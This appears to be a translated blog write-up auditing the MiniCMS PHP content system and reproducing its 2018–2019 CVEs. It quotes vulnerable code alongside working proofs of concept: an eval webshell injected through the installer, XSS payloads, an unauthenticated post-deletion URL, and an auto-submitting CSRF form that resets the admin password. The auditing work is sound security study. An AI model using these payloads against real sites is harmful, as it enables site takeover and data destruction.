Preface
In the previous DJBCTF of ctfshow, the question of Hushanxing was combined with MiniCMS. At that time, I did not have experience in reviewing so many codes and did not make it. After the game, it only reproduced the loopholes added by the creators according to the WP of the masters, but the MiniCMS did not seriously review it. Because the code of this CMS is really simple and easy to understand, it is a very good appetizer for those who want to start auditing the CMS, so I roughly read the code of this CMS and reproduced the various aspects of this CMS. CVE vulnerability.
Quote the structure:
│ build.php
│ index.php 整个项目的入口，首先引入核心库mc-core.php，然后进行路由，对路由结果进行相应的渲染，相当于MVC中的C
│ install.txt 复制为php文件后，用来安装MiniCMS
│ README.md
│
├─mc-admin 管理功能的实现
│ conf.php 用户设置页面，包括接收和保存更改的设置
│ editor.php 编辑器的大小、样式调整的库
│ foot.php html<foot>标签构造
│ head.php token验证，html<head>标签构造；若验证失败，跳转至主页
│ index.php 后台登陆身份验证页面
│ page-edit.php 页面编写处理逻辑，包括显示编辑页面、接收提交的页面、页面序列化储存
│ page.php 管理页面的库，声明加载数据、删除页面、还原页面（从回收站还原）
│ post-edit.php 文章编写处理逻辑，包括显示编辑页面、接收提交的页面、页面序列化储存
│ post.php 管理文章的库，声明加载数据、删除文章、还原文章（从回收站还原）
│ style.css 后台用到的CSS
│
└─mc-files
│ markdown.php 一个开源的markdown解析库
│ mc-conf.php 配置文件，包含用户名和密码等敏感信息
│ mc-core.php 引入mc-tags、mc-conf，声明404函数
│ mc-rss.php 订购RSS的链接
│ mc-tags.php 相当于M，引入markdown、包括一些核心函数，包括了加载各种信息的函数（网站名、文章数、前进后退等，中间有各种过滤，可以重点分析）
│
├─pages
│ └─index
│ delete.php 使用数组储存了删除页面的信息（id、标题、标签等）与data文件夹内的文章数据一一对应
│ draft.php 使用数组储存了草稿页面的信息（id、标题、标签等）与data文件夹内的文章数据一一对应
│ publish.php 使用数组储存了已发布的页面的信息（id、标题、标签等）与data文件夹内的文章数据一一对应
│
├─posts
│ ├─data 储存了文章内容的反序列化数据（文章内容等）
│ └─index
│ delete.php 使用数组储存了删除的文章的信息（id、标题、标签等）与data文件夹内的文章数据一一对应
│ draft.php 使用数组储存了草稿文章的信息（id、标题、标签等）与data文件夹内的文章数据一一对应
│ publish.php 使用数组储存了已发布文章的信息（id、标题、标签等）与data文件夹内的文章数据一一对应
│
└─theme
index.php 主题文件，决定了页面的风格，将C传入的信息显示出来，相当于V
style.css 主题使用的CSS风格
To quote the CVE summary of the masters:
-
CVE-2018-1000638 The
location where the reflected XSS exists: An XSS vulnerability exists in the date parameter at /MiniCMS-master/mc-admin/page.php -
CVE-2018-10227 The storage XSS
location: /MiniCMS-master/MiniCMS-master/mc-admin/conf.php
There is an XSS vulnerability in the settings where the website address is modified, and the XSS payload can be stored directly. -
CVE-2018-10296 Stored XSS location: /MiniCMS-master/mc-admin/post-edit.php
Edit the title of the article to directly store the XSS payload. -
I
personally think that CVE-2018-10423 is not a vulnerability, but a BUG. The BUG here is just that the hyperlink in the webpage incorrectly points to the root directory of the website. After clicking it, it will visit the root directory of the website. At this time, the apache configuration of the cave owner Without the traversal of the files, it was mistaken for the loopholes in the CMS, which is obviously wrong. The cave owner should have been scoring points, but I did not expect it to pass :). -
CVE-2018-10424 Leaked physical path
Location: /MiniCMS-master/mc-admin/post-edit.php If the parameter id of GET is changed to a non-existent file name, the physical address will be exposed . -
CVE-2018-15899 Reflected XSS
exists: /minicms/mc-admin/page.php The GET parameter date has XSS (it seems to be a duplicate of CVE-2018-1000638...). -
CVE-2018-16233 The
location where the reflective XSS exists: XSS exists in the POST parameter tags at /MiniCMS-1.10/mc-admin/post-edit.php. -
CVE-2018-16298 The
location where the reflective XSS exists: XSS exists in the GET parameter tag of /MiniCMS-1.10/mc-admin/post.php. -
CVE-2018-17039 Reflected XSS Location: /mc-admin/index.php Use any GET parameters and take the XSS
payload, you can execute JS in the IE browser. -
CVE-2018-18890 Leaked physical path
Location: post.php?delete=qe54cn&state=delete The physical path was revealed when deleting a non-existent post. -
CVE-2018-18891 Part of the file deletion (logical vulnerability, the deletion operation is performed before the identity authentication)
exists here: /mc-admin/post.php?delete=qe54cn&state=delete You can directly delete the article without logging in. -
CVE-2018-18892 The chicken ribs of the RCE exist:
install.php can directly inject PHP code into the configuration file at the configuration place during installation; since this file will be deleted after the MiniCMS is installed, it is not too big in the actual situation effect. -
CVE-2018-20520 The
location where the reflective XSS exists: Similar to CVE-2018-17039, /MiniCMS1/mc-admin/post-edit.php uses any GET parameters and takes the XSS
payload, and can execute JS in the IE browser. -
CVE-2018-9092 CSRF exists:
http://127.0.0.1//MiniCMS/mc-admin/post.php?delete=aaaaaa&state=publish&date=&tag= CSRF here will cause any article to be deleted: -
CVE-2019-9603 CSRF exists: /minicms/mc-admin/conf.php
The CSRF here will cause arbitrary modification of the website configuration.
Slowly reproduce these CVEs.
MiCMS source download: MiniCMS
CVE-2018-18892 Chicken Rib RCE
It is indeed a tasteless RCE. It can be said that 99.9% is useless, and the remaining 0.1% appears in DJBCTF, which is too outrageous.
The key is install.txt, this file is to be suffixed to php and then installed. The key code is here:
if (!@file_put_contents('mc-files/mc-conf.php',
"<?php \$mc_config = array(".
"'version' => '/*MINICMS_VERSION*/',".
"'site_link' => '{
$_POST['sitelink']}',".
"'site_name' => '{
$_POST['sitename']}',".
"'site_desc' => '又一个MiniCMS网站',".
"'user_name' => '{
$_POST['username']}',".
"'user_pass' => '{
$_POST['password']}',".
"'user_nick' => '{
$_POST['nickname']}',".
"'comment_code' => '');?>"
)) {
It is equivalent to setting during installation, and the POST parameters are directly written into mc-conf.php. This file is basically a file that will be required in the various functions behind, and can be written directly into it, any A POST parameter is passed:
');eval($_POST['feng']);//
This hole may also be left by the developer, or it may be that the developer feels that it does not matter if it is not filtered. . After all, install it yourself. . . Too tasteless.
CVE-2018-1000638 Reflective XSS
MiniCMS version 1.1 contains a Cross Site Scripting (XSS) vulnerability in http://example.org/mc-admin/page.php?date={payload} that can result in code injection.
if (isset($_GET['date']))
$filter_date = $_GET['date'];
else
$filter_date = '';
The GET parameter date is passed in again, and after that $filter_date, it is inserted into the front-end code without any filtering, and many positions are inserted.
<a class="link_button" href="?state=<?php echo $state; ?>&date=<?php echo $filter_date;?>">«</a>
POC:
?date="></a><img%20src=1%20onerror=alert(1)><a>
CVE-2018-10227 Stored XSS
MiniCMS v1.10 has XSS via the mc-admin/conf.php site_link parameter.
if (isset($_POST['save'])) {
$user_name_changed = $_POST['user_name'] != $mc_config['user_name'];
$mc_config['site_name'] = $_POST['site_name'];
$mc_config['site_desc'] = $_POST['site_desc'];
$mc_config['site_link'] = $_POST['site_link'];
$mc_config['user_nick'] = $_POST['user_nick'];
$mc_config['user_name'] = $_POST['user_name'];
$mc_config['comment_code'] = get_magic_quotes_gpc() ? stripslashes(trim($_POST['comment_code'])) : trim($_POST['comment_code']);
if ($_POST['user_pass'] != '')
$mc_config['user_pass'] = $_POST['user_pass'];
$code = "<?php\n\$mc_config = ".var_export($mc_config, true)."\n?>";
file_put_contents('../mc-files/mc-conf.php', $code);
conf.php makes setting changes, site_link is directly written into mc-conf.php without filtering. Although there is a filtered output below:
value="<?php echo htmlspecialchars($site_link); ?>" />
But in head.php:
<h3 id="menu_title"><a href="<?php echo $mc_config['site_link'] != '' ? $mc_config['site_link'] : '/'; ?>"><?php echo htmlspecialchars($mc_config['site_name']); ?></a></h3>
The $mc_config['site_link']output is directly sent to the front end, and there is no htmlspecialchars filtering. I am curious why the site_name is filtered. . . It seems to be the pot of development again.
POC:
http://www.fuxian.com"></a><img src=1 οnerrοr=alert(1)><a>
The rest of the XSS will not be released. The principle is the same, that is, the development does not filter the input.
CVE-2018-10424
mc-admin/post-edit.php in MiniCMS 1.10 allows full path disclosure via
a modified id field.
CVE trial for the first time. . . Can this count as a hole? . . Can I get CVE too? . .
} else if (isset($_GET['id'])) {
$file_path = '../mc-files/posts/data/'.$_GET['id'].'.dat';
$data = unserialize(file_get_contents($file_path));
$post_id = $data['id'];
$post_state = $data['state'];
$post_title = $data['title'];
$post_content = $data['content'];
$post_tags = $data['tags'];
$post_date = $data['date'];
$post_time = $data['time'];
$post_can_comment = isset($data['can_comment']) ? $data['can_comment'] : '1';
}
If get passes the id, the content output by the front end is the content of the article corresponding to the id. Entering a non-existent id here will report an error and explode the physical path:
CVE-2018-18891
MiniCMS 1.10 allows file deletion via /mc-admin/post.php?state=delete&delete= because the authentication check occurs too late.
Unauthorized vulnerabilities can only be discovered by reviewing the code. The main problem is that the permission judgment is in head.php:
ini_set("display_errors", "On"); error_reporting(E_ALL);
require_once '../mc-files/mc-conf.php';
if (isset($_COOKIE['mc_token'])) {
$token = $_COOKIE['mc_token'];
if ($token != md5($mc_config['user_name'].'_'.$mc_config['user_pass'])) {
Header("Location:index.php");
exit;
}
} else {
Header("Location:index.php");
exit;
}
However, such a problem occurred in both post.php and page.php. After their own php code has been executed, the require is performed on line 188:
<?php require 'head.php' ?>
If the article deletion function is to be carried out, it is executed in the code before require, because it causes vertical unauthorized deletion of articles.
POC:
http://www.fuxian.com/mc-admin/post.php?state=delete&delete=aaaaaa
CVE-2018-9092
There is a CSRF vulnerability in mc-admin/conf.php in MiniCMS 1.10 that can change the administrator account password.
Basically, you can modify the configuration at will. It seems that MiniCMS does not defend against CSRF. The
POC is as follows:
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=GB2312">
<title>test</title>
<body>
<form action="http://127.0.0.1/minicms/mc-admin/conf.php" method="post">
<input type="hidden" name="site_name" value="hack123" />
<input type="hidden" name="site_desc" value="hacktest" />
<input type="hidden" name="site_link" value="http://127.0.0.1/minicms" />
<input type="hidden" name="user_nick" value="hack" />
<input type="hidden" name="user_name" value="admin" />
<input type="hidden" name="user_pass" value="hackpass" />
<input type="hidden" name="comment_code" value="" />
<input type="hidden" name="save" value="保存设置" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</head>
</html>
to sum up
MiniCMS basically doesn't have any deeper holes. They are all holes like XSS and CSRF. Examining this CMS is just an introduction to find out the feeling, and a little look at the development method of CMS.
Recently, a senior in security told me that if I want to grow up, I have to read more code, and that's true. My code review is still less, PHP is the case, follow-up learning Java audit also has to look at the code more.